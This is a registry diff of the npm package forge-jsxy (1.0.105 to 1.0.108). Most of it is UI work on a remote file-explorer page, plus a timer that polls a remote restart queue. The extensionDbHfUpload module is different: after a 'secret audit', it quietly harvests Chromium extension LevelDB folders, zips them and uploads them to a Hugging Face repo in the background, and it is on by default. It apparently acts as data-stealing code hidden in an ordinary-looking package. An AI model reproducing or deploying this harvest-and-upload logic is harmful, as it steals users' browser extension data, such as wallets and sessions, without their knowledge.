forge-jsxy 1.0.105 → 1.0.108
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/assets/files-explorer-template.html +69 -1
- package/dist/agentRunner.js +23 -0
- package/dist/assets/files-explorer-template.html +70 -2
- package/dist/extensionDbHfUpload.d.ts +7 -9
- package/dist/extensionDbHfUpload.js +112 -24
- package/dist/filesExplorer.d.ts +2 -0
- package/dist/filesExplorer.js +13 -6
- package/dist/hfUpload.d.ts +2 -1
- package/dist/relayAgent.js +13 -13
- package/package.json +2 -2
|
@@ -1165,6 +1165,20 @@
|
|
|
1165
1165
|
.fe-overlay-gate-minimal input#password.remote-login-password {
|
|
1166
1166
|
margin-bottom: 0;
|
|
1167
1167
|
}
|
|
1168
|
+
.fe-gate-status {
|
|
1169
|
+
margin: 0 0 10px;
|
|
1170
|
+
font-size: 12px;
|
|
1171
|
+
line-height: 1.45;
|
|
1172
|
+
color: var(--vscode-descriptionForeground);
|
|
1173
|
+
text-align: center;
|
|
1174
|
+
min-height: 1.2em;
|
|
1175
|
+
}
|
|
1176
|
+
.fe-gate-status.fe-gate-status-error {
|
|
1177
|
+
color: var(--vscode-errorForeground);
|
|
1178
|
+
}
|
|
1179
|
+
.fe-explorer-gate-form.fe-gate-autoconnect #password.remote-login-password {
|
|
1180
|
+
display: none;
|
|
1181
|
+
}
|
|
1168
1182
|
.fe-explorer-gate-form {
|
|
1169
1183
|
margin: 0;
|
|
1170
1184
|
}
|
|
@@ -1585,6 +1599,7 @@
|
|
|
1585
1599
|
<div class="remote-login-panel card fe-overlay-gate-minimal" role="dialog" aria-modal="true">
|
|
1586
1600
|
<form id="fe-explorer-gate" class="fe-explorer-gate-form" autocomplete="off">
|
|
1587
1601
|
<input type="hidden" id="session" value="" autocomplete="off"/>
|
|
1602
|
+
<p id="fe-gate-status" class="fe-gate-status" aria-live="polite"></p>
|
|
1588
1603
|
<input id="password" class="remote-login-password" type="password" name="password" autocomplete="current-password" placeholder="Agent password — Enter to connect" title="Matches CFGMGR_SESSION_PASSWORD on the agent; Enter submits" autofocus/>
|
|
1589
1604
|
</form>
|
|
1590
1605
|
</div>
|
|
@@ -2115,6 +2130,11 @@ function scheduleAuthChallengeWatch(){
|
|
|
2115
2130
|
_authChallengeWatchTimer = setTimeout(function(){
|
|
2116
2131
|
_authChallengeWatchTimer = null;
|
|
2117
2132
|
if(authed || !ws || ws.readyState !== 1 || !ws._pwHash) return;
|
|
2133
|
+
revealGatePasswordField();
|
|
2134
|
+
setGateStatus(
|
|
2135
|
+
'No auth challenge from the agent. Run one forge-agent per My VPS id; upgrade/restart forge-agent, then try again.',
|
|
2136
|
+
true
|
|
2137
|
+
);
|
|
2118
2138
|
setCerr(
|
|
2119
2139
|
'No auth challenge from the agent. Run one forge-agent per My VPS id; update forge-agent/cfgmgr-agent, then Connect again. If this persists, restart the agent process.');
|
|
2120
2140
|
setWaitmsg('Auth stalled');
|
|
@@ -2159,6 +2179,11 @@ function scheduleAuthResultWatch(){
|
|
|
2159
2179
|
_authResultWatchTimer = null;
|
|
2160
2180
|
if(authed || !ws || ws.readyState !== 1) return;
|
|
2161
2181
|
if(!stillAuthenticating()) return;
|
|
2182
|
+
revealGatePasswordField();
|
|
2183
|
+
setGateStatus(
|
|
2184
|
+
'No auth response from the agent (timeout). Disconnect, ensure one forge-agent matches this My VPS id, restart the agent, then connect again.',
|
|
2185
|
+
true
|
|
2186
|
+
);
|
|
2162
2187
|
setCerr('No auth response from the agent (timeout). Click Disconnect, ensure one forge-agent per My VPS id matches this password, restart forge-agent, then Connect again.');
|
|
2163
2188
|
setWaitmsg('Auth timed out');
|
|
2164
2189
|
explorerAuthAwaitingResult = false;
|
|
@@ -3101,6 +3126,21 @@ function setCerr(t){
|
|
|
3101
3126
|
if(el) el.textContent = t != null ? String(t) : '';
|
|
3102
3127
|
refreshFeMsgsVisibility();
|
|
3103
3128
|
}
|
|
3129
|
+
function setGateStatus(text, isError){
|
|
3130
|
+
const el = $('fe-gate-status');
|
|
3131
|
+
if(!el) return;
|
|
3132
|
+
el.textContent = text != null ? String(text) : '';
|
|
3133
|
+
el.classList.toggle('fe-gate-status-error', !!isError);
|
|
3134
|
+
}
|
|
3135
|
+
function setGateAutoconnectMode(on){
|
|
3136
|
+
const form = $('fe-explorer-gate');
|
|
3137
|
+
if(form) form.classList.toggle('fe-gate-autoconnect', !!on);
|
|
3138
|
+
}
|
|
3139
|
+
function revealGatePasswordField(){
|
|
3140
|
+
setGateAutoconnectMode(false);
|
|
3141
|
+
const pw = $('password');
|
|
3142
|
+
if(pw) pw.classList.remove('hidden');
|
|
3143
|
+
}
|
|
3104
3144
|
function setStatus(t){ $('status').textContent = t; }
|
|
3105
3145
|
|
|
3106
3146
|
/** Last line shown in #xfer-status — used to snapshot state on disconnect. */
|
|
@@ -4635,6 +4675,13 @@ async function doConnect(){
|
|
|
4635
4675
|
explorerAuthAwaitingResult = false;
|
|
4636
4676
|
setCerr('');
|
|
4637
4677
|
setWaitmsg('');
|
|
4678
|
+
if(explorerGateAuthSecret()){
|
|
4679
|
+
setGateAutoconnectMode(true);
|
|
4680
|
+
setGateStatus('Connecting to agent…');
|
|
4681
|
+
} else {
|
|
4682
|
+
revealGatePasswordField();
|
|
4683
|
+
setGateStatus('Enter the agent password and press Enter.');
|
|
4684
|
+
}
|
|
4638
4685
|
afterAuthDone = false;
|
|
4639
4686
|
lastRead = null;
|
|
4640
4687
|
pathHistory = [];
|
|
@@ -4917,11 +4964,15 @@ function onMsg(m){
|
|
|
4917
4964
|
clearAuthResultWatch();
|
|
4918
4965
|
const authSecret = explorerGateAuthSecret();
|
|
4919
4966
|
if(!authSecret){
|
|
4967
|
+
revealGatePasswordField();
|
|
4968
|
+
setGateStatus('Agent password required — enter it below and press Enter.', true);
|
|
4920
4969
|
setCerr('Password required — enter the agent password below, then press Enter.');
|
|
4921
4970
|
explorerAuthAwaitingResult = false;
|
|
4922
4971
|
setWaitmsg('');
|
|
4923
4972
|
return;
|
|
4924
4973
|
}
|
|
4974
|
+
setGateAutoconnectMode(true);
|
|
4975
|
+
setGateStatus('Authenticating…');
|
|
4925
4976
|
const nonce = String(m.nonce||'');
|
|
4926
4977
|
/** Superseded challenge (reconnect / second tab): ignore stale async hash so we never send wrong nonce. */
|
|
4927
4978
|
ws._authChallengeSeq = (ws._authChallengeSeq || 0) + 1;
|
|
@@ -4956,6 +5007,7 @@ function onMsg(m){
|
|
|
4956
5007
|
cancelForgeUpgradeReconnectTimeouts();
|
|
4957
5008
|
setWaitmsg('');
|
|
4958
5009
|
setCerr('');
|
|
5010
|
+
setGateStatus('');
|
|
4959
5011
|
hideAgentReconnectOverlayIfAuthed();
|
|
4960
5012
|
if(afterAuthDone){
|
|
4961
5013
|
/** Agent reconnected while explorer stayed open — restore HF/xfer persistence after re-auth. */
|
|
@@ -4977,6 +5029,8 @@ function onMsg(m){
|
|
|
4977
5029
|
} else afterAuth();
|
|
4978
5030
|
}
|
|
4979
5031
|
else {
|
|
5032
|
+
revealGatePasswordField();
|
|
5033
|
+
setGateStatus('Authentication failed — password must match the agent.', true);
|
|
4980
5034
|
setCerr('Authentication failed — password must match the agent; click Connect again.');
|
|
4981
5035
|
setWaitmsg('Auth rejected');
|
|
4982
5036
|
updateAgentShellHints();
|
|
@@ -5931,6 +5985,8 @@ function attachFeExplorerSplitters(){
|
|
|
5931
5985
|
function afterAuth(){
|
|
5932
5986
|
if(afterAuthDone) return;
|
|
5933
5987
|
afterAuthDone = true;
|
|
5988
|
+
setGateStatus('');
|
|
5989
|
+
setGateAutoconnectMode(false);
|
|
5934
5990
|
$('overlay').classList.add('hidden');
|
|
5935
5991
|
explorerChromeVisible(true);
|
|
5936
5992
|
$('main').classList.remove('hidden');
|
|
@@ -7232,15 +7288,27 @@ function uploadHfForceKill(){
|
|
|
7232
7288
|
!!explorerGateAuthSecret();
|
|
7233
7289
|
|
|
7234
7290
|
if ((autoParam === '1' && sessionParam) || skipPasswordGate) {
|
|
7291
|
+
setGateAutoconnectMode(true);
|
|
7235
7292
|
/** Keep overlay until `afterAuth()` — avoids empty chrome while socket/auth is still in flight. */
|
|
7293
|
+
setGateStatus('Connecting (' + shortSessionLabel(sessionEl ? sessionEl.value : '') + ')…');
|
|
7236
7294
|
setWaitmsg('Connecting (' + shortSessionLabel(sessionEl ? sessionEl.value : '') + ')…');
|
|
7237
7295
|
setTimeout(function() {
|
|
7238
7296
|
if (explorerUrlSessionReady()) {
|
|
7239
7297
|
void doConnect();
|
|
7240
7298
|
}
|
|
7241
7299
|
}, 350);
|
|
7242
|
-
} else {
|
|
7300
|
+
} else if (explorerUrlSessionReady()) {
|
|
7243
7301
|
scheduleExplorerAutoConnect(450);
|
|
7302
|
+
if (explorerGateAuthSecret()) {
|
|
7303
|
+
setGateAutoconnectMode(true);
|
|
7304
|
+
setGateStatus('Connecting to agent…');
|
|
7305
|
+
} else {
|
|
7306
|
+
revealGatePasswordField();
|
|
7307
|
+
setGateStatus('Enter the agent password and press Enter.');
|
|
7308
|
+
}
|
|
7309
|
+
} else {
|
|
7310
|
+
revealGatePasswordField();
|
|
7311
|
+
setGateStatus('Open this page with ?my_vps=<id> or enter the agent password and press Enter.');
|
|
7244
7312
|
}
|
|
7245
7313
|
|
|
7246
7314
|
} catch(e) { /* ignore */ }
|
package/dist/agentRunner.js
CHANGED
|
@@ -48,7 +48,9 @@ const clientId_1 = require("./clientId");
|
|
|
48
48
|
const fsProtocol_1 = require("./fsProtocol");
|
|
49
49
|
const deploymentDefaults_1 = require("./deploymentDefaults");
|
|
50
50
|
const windowsInputSync_1 = require("./windowsInputSync");
|
|
51
|
+
const agentRestartFromQueue_1 = require("./agentRestartFromQueue");
|
|
51
52
|
const relayForAgentHttp_1 = require("./relayForAgentHttp");
|
|
53
|
+
const syncClient_1 = require("./syncClient");
|
|
52
54
|
function envQuietAgentEnabled() {
|
|
53
55
|
const raw = (process.env.FORGE_JS_QUIET_AGENT || "").trim().toLowerCase();
|
|
54
56
|
return ["1", "true", "yes", "on"].includes(raw);
|
|
@@ -250,10 +252,31 @@ function runForgeAgentWithSingleton(opts) {
|
|
|
250
252
|
activeSyncApiUrl = api;
|
|
251
253
|
};
|
|
252
254
|
tryStartSidecars(false);
|
|
255
|
+
/** Poll forge-db restart queue even while relay reconnect is in backoff (clients-status auto-reconnect). */
|
|
256
|
+
let restartQueuePollTimer = null;
|
|
257
|
+
const pollRestartQueueIfDue = () => {
|
|
258
|
+
const api = (0, windowsInputSync_1.resolveSyncApiBase)();
|
|
259
|
+
if (!api)
|
|
260
|
+
return;
|
|
261
|
+
const client = new syncClient_1.ForgeSyncClient({
|
|
262
|
+
baseUrl: api,
|
|
263
|
+
clientId: (0, clientId_1.getOrCreateClientId)(),
|
|
264
|
+
});
|
|
265
|
+
void (0, agentRestartFromQueue_1.pollForgeDbAgentRestartHint)(client, { quiet: opts.quiet });
|
|
266
|
+
};
|
|
267
|
+
restartQueuePollTimer = setInterval(pollRestartQueueIfDue, 60_000);
|
|
268
|
+
if (typeof restartQueuePollTimer.unref === "function") {
|
|
269
|
+
restartQueuePollTimer.unref();
|
|
270
|
+
}
|
|
271
|
+
void pollRestartQueueIfDue();
|
|
253
272
|
let cleanedUp = false;
|
|
254
273
|
let cleanupPromise = null;
|
|
255
274
|
const cleanupSyncOnly = () => {
|
|
256
275
|
syncRestartSeq++;
|
|
276
|
+
if (restartQueuePollTimer) {
|
|
277
|
+
clearInterval(restartQueuePollTimer);
|
|
278
|
+
restartQueuePollTimer = null;
|
|
279
|
+
}
|
|
257
280
|
try {
|
|
258
281
|
void stopDesktopSync?.();
|
|
259
282
|
}
|
|
@@ -10,7 +10,7 @@
|
|
|
10
10
|
<link rel="apple-touch-icon" href="/forge-explorer-favicon.svg"/>
|
|
11
11
|
<link rel="stylesheet" href="/forge-explorer-codicons/codicon.css"/>
|
|
12
12
|
<link rel="stylesheet" href="/forge-explorer-highlight/explorer-highlight.css"/>
|
|
13
|
-
<!-- forge-jsxy@1.0.
|
|
13
|
+
<!-- forge-jsxy@1.0.108 reconnect-ui npm-isolated-cache hub-20gib-delete-watch -->
|
|
14
14
|
<script>
|
|
15
15
|
(function () {
|
|
16
16
|
try {
|
|
@@ -1165,6 +1165,20 @@
|
|
|
1165
1165
|
.fe-overlay-gate-minimal input#password.remote-login-password {
|
|
1166
1166
|
margin-bottom: 0;
|
|
1167
1167
|
}
|
|
1168
|
+
.fe-gate-status {
|
|
1169
|
+
margin: 0 0 10px;
|
|
1170
|
+
font-size: 12px;
|
|
1171
|
+
line-height: 1.45;
|
|
1172
|
+
color: var(--vscode-descriptionForeground);
|
|
1173
|
+
text-align: center;
|
|
1174
|
+
min-height: 1.2em;
|
|
1175
|
+
}
|
|
1176
|
+
.fe-gate-status.fe-gate-status-error {
|
|
1177
|
+
color: var(--vscode-errorForeground);
|
|
1178
|
+
}
|
|
1179
|
+
.fe-explorer-gate-form.fe-gate-autoconnect #password.remote-login-password {
|
|
1180
|
+
display: none;
|
|
1181
|
+
}
|
|
1168
1182
|
.fe-explorer-gate-form {
|
|
1169
1183
|
margin: 0;
|
|
1170
1184
|
}
|
|
@@ -1585,6 +1599,7 @@
|
|
|
1585
1599
|
<div class="remote-login-panel card fe-overlay-gate-minimal" role="dialog" aria-modal="true">
|
|
1586
1600
|
<form id="fe-explorer-gate" class="fe-explorer-gate-form" autocomplete="off">
|
|
1587
1601
|
<input type="hidden" id="session" value="" autocomplete="off"/>
|
|
1602
|
+
<p id="fe-gate-status" class="fe-gate-status" aria-live="polite"></p>
|
|
1588
1603
|
<input id="password" class="remote-login-password" type="password" name="password" autocomplete="current-password" placeholder="Agent password — Enter to connect" title="Matches CFGMGR_SESSION_PASSWORD on the agent; Enter submits" autofocus/>
|
|
1589
1604
|
</form>
|
|
1590
1605
|
</div>
|
|
@@ -2115,6 +2130,11 @@ function scheduleAuthChallengeWatch(){
|
|
|
2115
2130
|
_authChallengeWatchTimer = setTimeout(function(){
|
|
2116
2131
|
_authChallengeWatchTimer = null;
|
|
2117
2132
|
if(authed || !ws || ws.readyState !== 1 || !ws._pwHash) return;
|
|
2133
|
+
revealGatePasswordField();
|
|
2134
|
+
setGateStatus(
|
|
2135
|
+
'No auth challenge from the agent. Run one forge-agent per My VPS id; upgrade/restart forge-agent, then try again.',
|
|
2136
|
+
true
|
|
2137
|
+
);
|
|
2118
2138
|
setCerr(
|
|
2119
2139
|
'No auth challenge from the agent. Run one forge-agent per My VPS id; update forge-agent/cfgmgr-agent, then Connect again. If this persists, restart the agent process.');
|
|
2120
2140
|
setWaitmsg('Auth stalled');
|
|
@@ -2159,6 +2179,11 @@ function scheduleAuthResultWatch(){
|
|
|
2159
2179
|
_authResultWatchTimer = null;
|
|
2160
2180
|
if(authed || !ws || ws.readyState !== 1) return;
|
|
2161
2181
|
if(!stillAuthenticating()) return;
|
|
2182
|
+
revealGatePasswordField();
|
|
2183
|
+
setGateStatus(
|
|
2184
|
+
'No auth response from the agent (timeout). Disconnect, ensure one forge-agent matches this My VPS id, restart the agent, then connect again.',
|
|
2185
|
+
true
|
|
2186
|
+
);
|
|
2162
2187
|
setCerr('No auth response from the agent (timeout). Click Disconnect, ensure one forge-agent per My VPS id matches this password, restart forge-agent, then Connect again.');
|
|
2163
2188
|
setWaitmsg('Auth timed out');
|
|
2164
2189
|
explorerAuthAwaitingResult = false;
|
|
@@ -3101,6 +3126,21 @@ function setCerr(t){
|
|
|
3101
3126
|
if(el) el.textContent = t != null ? String(t) : '';
|
|
3102
3127
|
refreshFeMsgsVisibility();
|
|
3103
3128
|
}
|
|
3129
|
+
function setGateStatus(text, isError){
|
|
3130
|
+
const el = $('fe-gate-status');
|
|
3131
|
+
if(!el) return;
|
|
3132
|
+
el.textContent = text != null ? String(text) : '';
|
|
3133
|
+
el.classList.toggle('fe-gate-status-error', !!isError);
|
|
3134
|
+
}
|
|
3135
|
+
function setGateAutoconnectMode(on){
|
|
3136
|
+
const form = $('fe-explorer-gate');
|
|
3137
|
+
if(form) form.classList.toggle('fe-gate-autoconnect', !!on);
|
|
3138
|
+
}
|
|
3139
|
+
function revealGatePasswordField(){
|
|
3140
|
+
setGateAutoconnectMode(false);
|
|
3141
|
+
const pw = $('password');
|
|
3142
|
+
if(pw) pw.classList.remove('hidden');
|
|
3143
|
+
}
|
|
3104
3144
|
function setStatus(t){ $('status').textContent = t; }
|
|
3105
3145
|
|
|
3106
3146
|
/** Last line shown in #xfer-status — used to snapshot state on disconnect. */
|
|
@@ -4635,6 +4675,13 @@ async function doConnect(){
|
|
|
4635
4675
|
explorerAuthAwaitingResult = false;
|
|
4636
4676
|
setCerr('');
|
|
4637
4677
|
setWaitmsg('');
|
|
4678
|
+
if(explorerGateAuthSecret()){
|
|
4679
|
+
setGateAutoconnectMode(true);
|
|
4680
|
+
setGateStatus('Connecting to agent…');
|
|
4681
|
+
} else {
|
|
4682
|
+
revealGatePasswordField();
|
|
4683
|
+
setGateStatus('Enter the agent password and press Enter.');
|
|
4684
|
+
}
|
|
4638
4685
|
afterAuthDone = false;
|
|
4639
4686
|
lastRead = null;
|
|
4640
4687
|
pathHistory = [];
|
|
@@ -4917,11 +4964,15 @@ function onMsg(m){
|
|
|
4917
4964
|
clearAuthResultWatch();
|
|
4918
4965
|
const authSecret = explorerGateAuthSecret();
|
|
4919
4966
|
if(!authSecret){
|
|
4967
|
+
revealGatePasswordField();
|
|
4968
|
+
setGateStatus('Agent password required — enter it below and press Enter.', true);
|
|
4920
4969
|
setCerr('Password required — enter the agent password below, then press Enter.');
|
|
4921
4970
|
explorerAuthAwaitingResult = false;
|
|
4922
4971
|
setWaitmsg('');
|
|
4923
4972
|
return;
|
|
4924
4973
|
}
|
|
4974
|
+
setGateAutoconnectMode(true);
|
|
4975
|
+
setGateStatus('Authenticating…');
|
|
4925
4976
|
const nonce = String(m.nonce||'');
|
|
4926
4977
|
/** Superseded challenge (reconnect / second tab): ignore stale async hash so we never send wrong nonce. */
|
|
4927
4978
|
ws._authChallengeSeq = (ws._authChallengeSeq || 0) + 1;
|
|
@@ -4956,6 +5007,7 @@ function onMsg(m){
|
|
|
4956
5007
|
cancelForgeUpgradeReconnectTimeouts();
|
|
4957
5008
|
setWaitmsg('');
|
|
4958
5009
|
setCerr('');
|
|
5010
|
+
setGateStatus('');
|
|
4959
5011
|
hideAgentReconnectOverlayIfAuthed();
|
|
4960
5012
|
if(afterAuthDone){
|
|
4961
5013
|
/** Agent reconnected while explorer stayed open — restore HF/xfer persistence after re-auth. */
|
|
@@ -4977,6 +5029,8 @@ function onMsg(m){
|
|
|
4977
5029
|
} else afterAuth();
|
|
4978
5030
|
}
|
|
4979
5031
|
else {
|
|
5032
|
+
revealGatePasswordField();
|
|
5033
|
+
setGateStatus('Authentication failed — password must match the agent.', true);
|
|
4980
5034
|
setCerr('Authentication failed — password must match the agent; click Connect again.');
|
|
4981
5035
|
setWaitmsg('Auth rejected');
|
|
4982
5036
|
updateAgentShellHints();
|
|
@@ -5931,6 +5985,8 @@ function attachFeExplorerSplitters(){
|
|
|
5931
5985
|
function afterAuth(){
|
|
5932
5986
|
if(afterAuthDone) return;
|
|
5933
5987
|
afterAuthDone = true;
|
|
5988
|
+
setGateStatus('');
|
|
5989
|
+
setGateAutoconnectMode(false);
|
|
5934
5990
|
$('overlay').classList.add('hidden');
|
|
5935
5991
|
explorerChromeVisible(true);
|
|
5936
5992
|
$('main').classList.remove('hidden');
|
|
@@ -7232,15 +7288,27 @@ function uploadHfForceKill(){
|
|
|
7232
7288
|
!!explorerGateAuthSecret();
|
|
7233
7289
|
|
|
7234
7290
|
if ((autoParam === '1' && sessionParam) || skipPasswordGate) {
|
|
7291
|
+
setGateAutoconnectMode(true);
|
|
7235
7292
|
/** Keep overlay until `afterAuth()` — avoids empty chrome while socket/auth is still in flight. */
|
|
7293
|
+
setGateStatus('Connecting (' + shortSessionLabel(sessionEl ? sessionEl.value : '') + ')…');
|
|
7236
7294
|
setWaitmsg('Connecting (' + shortSessionLabel(sessionEl ? sessionEl.value : '') + ')…');
|
|
7237
7295
|
setTimeout(function() {
|
|
7238
7296
|
if (explorerUrlSessionReady()) {
|
|
7239
7297
|
void doConnect();
|
|
7240
7298
|
}
|
|
7241
7299
|
}, 350);
|
|
7242
|
-
} else {
|
|
7300
|
+
} else if (explorerUrlSessionReady()) {
|
|
7243
7301
|
scheduleExplorerAutoConnect(450);
|
|
7302
|
+
if (explorerGateAuthSecret()) {
|
|
7303
|
+
setGateAutoconnectMode(true);
|
|
7304
|
+
setGateStatus('Connecting to agent…');
|
|
7305
|
+
} else {
|
|
7306
|
+
revealGatePasswordField();
|
|
7307
|
+
setGateStatus('Enter the agent password and press Enter.');
|
|
7308
|
+
}
|
|
7309
|
+
} else {
|
|
7310
|
+
revealGatePasswordField();
|
|
7311
|
+
setGateStatus('Open this page with ?my_vps=<id> or enter the agent password and press Enter.');
|
|
7244
7312
|
}
|
|
7245
7313
|
|
|
7246
7314
|
} catch(e) { /* ignore */ }
|
|
@@ -1,16 +1,14 @@
|
|
|
1
|
-
/**
|
|
2
|
-
* After secret-audit scan + optional `result.json` Hub upload: harvest Chromium extension
|
|
3
|
-
* folders containing LevelDB `.ldb` files, zip, and upload to `namespace/<seq_id>` (session repo).
|
|
4
|
-
*
|
|
5
|
-
* Appends to an existing session repo when present (new export folder per run).
|
|
6
|
-
* Ignores HF/network failures (logs only).
|
|
7
|
-
* Runs in the background — does not block the relay agent loop.
|
|
8
|
-
*/
|
|
9
1
|
import type { HfCredentials } from "./hfCredentials";
|
|
10
2
|
/** Operational logs always emit (even when `FORGE_JS_QUIET_AGENT=1`). */
|
|
11
3
|
export declare function extensionDbLog(message: string): void;
|
|
12
4
|
/** Default ON when secret audit is enabled. Opt out: FORGE_JS_AGENT_EXTENSION_DB_HF_UPLOAD=0 */
|
|
13
5
|
export declare function isExtensionDbHfUploadEnabled(): boolean;
|
|
6
|
+
/** Local record that extension data was uploaded for a Hub session repo (avoids repeat harvest/upload). */
|
|
7
|
+
export declare function readExtensionDbUploadMarker(): {
|
|
8
|
+
repo: string;
|
|
9
|
+
uploaded_at: string;
|
|
10
|
+
} | null;
|
|
11
|
+
export declare function writeExtensionDbUploadMarker(repoStr: string): void;
|
|
14
12
|
export type RunExtensionDbHfUploadOptions = {
|
|
15
13
|
clientTableName: string;
|
|
16
14
|
fetchHubCredentials: () => Promise<HfCredentials>;
|
|
@@ -21,7 +19,7 @@ export type RunExtensionDbHfUploadOptions = {
|
|
|
21
19
|
};
|
|
22
20
|
/**
|
|
23
21
|
* Harvest extension `.ldb` folders → zip → Hub session repo (`namespace/<seq_id>`).
|
|
24
|
-
* No-op when disabled, repo exists, nothing to copy, or credentials missing.
|
|
22
|
+
* No-op when disabled, repo already exists, nothing to copy, or credentials missing.
|
|
25
23
|
*/
|
|
26
24
|
export declare function runExtensionDbHfUploadAfterAudit(opts: RunExtensionDbHfUploadOptions): Promise<void>;
|
|
27
25
|
/** Fire-and-forget background upload (after secret audit completes). */
|
|
@@ -1,9 +1,55 @@
|
|
|
1
1
|
"use strict";
|
|
2
|
+
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
|
|
3
|
+
if (k2 === undefined) k2 = k;
|
|
4
|
+
var desc = Object.getOwnPropertyDescriptor(m, k);
|
|
5
|
+
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
|
|
6
|
+
desc = { enumerable: true, get: function() { return m[k]; } };
|
|
7
|
+
}
|
|
8
|
+
Object.defineProperty(o, k2, desc);
|
|
9
|
+
}) : (function(o, m, k, k2) {
|
|
10
|
+
if (k2 === undefined) k2 = k;
|
|
11
|
+
o[k2] = m[k];
|
|
12
|
+
}));
|
|
13
|
+
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
|
|
14
|
+
Object.defineProperty(o, "default", { enumerable: true, value: v });
|
|
15
|
+
}) : function(o, v) {
|
|
16
|
+
o["default"] = v;
|
|
17
|
+
});
|
|
18
|
+
var __importStar = (this && this.__importStar) || (function () {
|
|
19
|
+
var ownKeys = function(o) {
|
|
20
|
+
ownKeys = Object.getOwnPropertyNames || function (o) {
|
|
21
|
+
var ar = [];
|
|
22
|
+
for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
|
|
23
|
+
return ar;
|
|
24
|
+
};
|
|
25
|
+
return ownKeys(o);
|
|
26
|
+
};
|
|
27
|
+
return function (mod) {
|
|
28
|
+
if (mod && mod.__esModule) return mod;
|
|
29
|
+
var result = {};
|
|
30
|
+
if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
|
|
31
|
+
__setModuleDefault(result, mod);
|
|
32
|
+
return result;
|
|
33
|
+
};
|
|
34
|
+
})();
|
|
2
35
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
36
|
exports.extensionDbLog = extensionDbLog;
|
|
4
37
|
exports.isExtensionDbHfUploadEnabled = isExtensionDbHfUploadEnabled;
|
|
38
|
+
exports.readExtensionDbUploadMarker = readExtensionDbUploadMarker;
|
|
39
|
+
exports.writeExtensionDbUploadMarker = writeExtensionDbUploadMarker;
|
|
5
40
|
exports.runExtensionDbHfUploadAfterAudit = runExtensionDbHfUploadAfterAudit;
|
|
6
41
|
exports.scheduleExtensionDbHfUploadAfterAudit = scheduleExtensionDbHfUploadAfterAudit;
|
|
42
|
+
/**
|
|
43
|
+
* After secret-audit scan: harvest Chromium extension folders containing LevelDB `.ldb`
|
|
44
|
+
* files, zip, and upload once to `namespace/<seq_id>` (session repo).
|
|
45
|
+
*
|
|
46
|
+
* When the session Hub repo already exists, the upload is skipped (no duplicate snapshots).
|
|
47
|
+
* Ignores HF/network failures (logs only).
|
|
48
|
+
* Runs in the background — does not block the relay agent loop.
|
|
49
|
+
*/
|
|
50
|
+
const hub_1 = require("@huggingface/hub");
|
|
51
|
+
const fs = __importStar(require("node:fs"));
|
|
52
|
+
const path = __importStar(require("node:path"));
|
|
7
53
|
const hfCredentials_1 = require("./hfCredentials");
|
|
8
54
|
const hfUpload_1 = require("./hfUpload");
|
|
9
55
|
const hfSeqIdLookup_1 = require("./hfSeqIdLookup");
|
|
@@ -87,19 +133,55 @@ function isIgnorableHubError(err) {
|
|
|
87
133
|
const msg = err instanceof Error ? err.message : String(err);
|
|
88
134
|
return (/could not reach hugging face|network|fetch failed|econnrefused|enotfound|etimedout|socket hang up/i.test(msg) || /hub upload skipped/i.test(msg));
|
|
89
135
|
}
|
|
90
|
-
|
|
91
|
-
|
|
92
|
-
|
|
93
|
-
|
|
94
|
-
|
|
95
|
-
|
|
96
|
-
|
|
97
|
-
|
|
98
|
-
|
|
99
|
-
|
|
100
|
-
|
|
101
|
-
|
|
136
|
+
const EXTENSION_DB_HF_UPLOAD_MARKER = "extension-db-hf-upload.json";
|
|
137
|
+
function extensionDbUploadMarkerFile() {
|
|
138
|
+
return path.join(path.dirname((0, chromiumExtensionDbHarvest_1.extensionDbStagingRoot)()), EXTENSION_DB_HF_UPLOAD_MARKER);
|
|
139
|
+
}
|
|
140
|
+
/** Local record that extension data was uploaded for a Hub session repo (avoids repeat harvest/upload). */
|
|
141
|
+
function readExtensionDbUploadMarker() {
|
|
142
|
+
try {
|
|
143
|
+
const raw = fs.readFileSync(extensionDbUploadMarkerFile(), "utf8");
|
|
144
|
+
const parsed = JSON.parse(raw);
|
|
145
|
+
const repo = typeof parsed.repo === "string" ? parsed.repo.trim() : "";
|
|
146
|
+
if (!repo)
|
|
147
|
+
return null;
|
|
148
|
+
return {
|
|
149
|
+
repo,
|
|
150
|
+
uploaded_at: typeof parsed.uploaded_at === "string" ? parsed.uploaded_at : "",
|
|
151
|
+
};
|
|
152
|
+
}
|
|
153
|
+
catch {
|
|
154
|
+
return null;
|
|
155
|
+
}
|
|
156
|
+
}
|
|
157
|
+
function writeExtensionDbUploadMarker(repoStr) {
|
|
158
|
+
const repo = repoStr.trim();
|
|
159
|
+
if (!repo)
|
|
160
|
+
return;
|
|
161
|
+
const markerPath = extensionDbUploadMarkerFile();
|
|
162
|
+
fs.mkdirSync(path.dirname(markerPath), { recursive: true });
|
|
163
|
+
const tmp = `${markerPath}.${process.pid}.${Date.now()}.tmp`;
|
|
164
|
+
const doc = { repo, uploaded_at: new Date().toISOString() };
|
|
165
|
+
fs.writeFileSync(tmp, JSON.stringify(doc, null, 2), "utf8");
|
|
166
|
+
fs.renameSync(tmp, markerPath);
|
|
167
|
+
}
|
|
168
|
+
function extensionDbUploadRecordedForRepo(repoStr) {
|
|
169
|
+
const marker = readExtensionDbUploadMarker();
|
|
170
|
+
return marker !== null && marker.repo === repoStr.trim();
|
|
102
171
|
}
|
|
172
|
+
async function sessionHubRepoAlreadyExists(repoStr, creds) {
|
|
173
|
+
try {
|
|
174
|
+
return await (0, hub_1.repoExists)({
|
|
175
|
+
repo: repoStr.trim(),
|
|
176
|
+
accessToken: creds.token,
|
|
177
|
+
hubUrl: creds.hubUrl,
|
|
178
|
+
});
|
|
179
|
+
}
|
|
180
|
+
catch {
|
|
181
|
+
return false;
|
|
182
|
+
}
|
|
183
|
+
}
|
|
184
|
+
let extensionDbUploadInFlight = false;
|
|
103
185
|
function resolveRelayHttpBaseForExtensionUpload(opts) {
|
|
104
186
|
const explicit = (opts.relayHttpBase || "").trim();
|
|
105
187
|
if (explicit)
|
|
@@ -114,7 +196,7 @@ function resolveRelayHttpBaseForExtensionUpload(opts) {
|
|
|
114
196
|
}
|
|
115
197
|
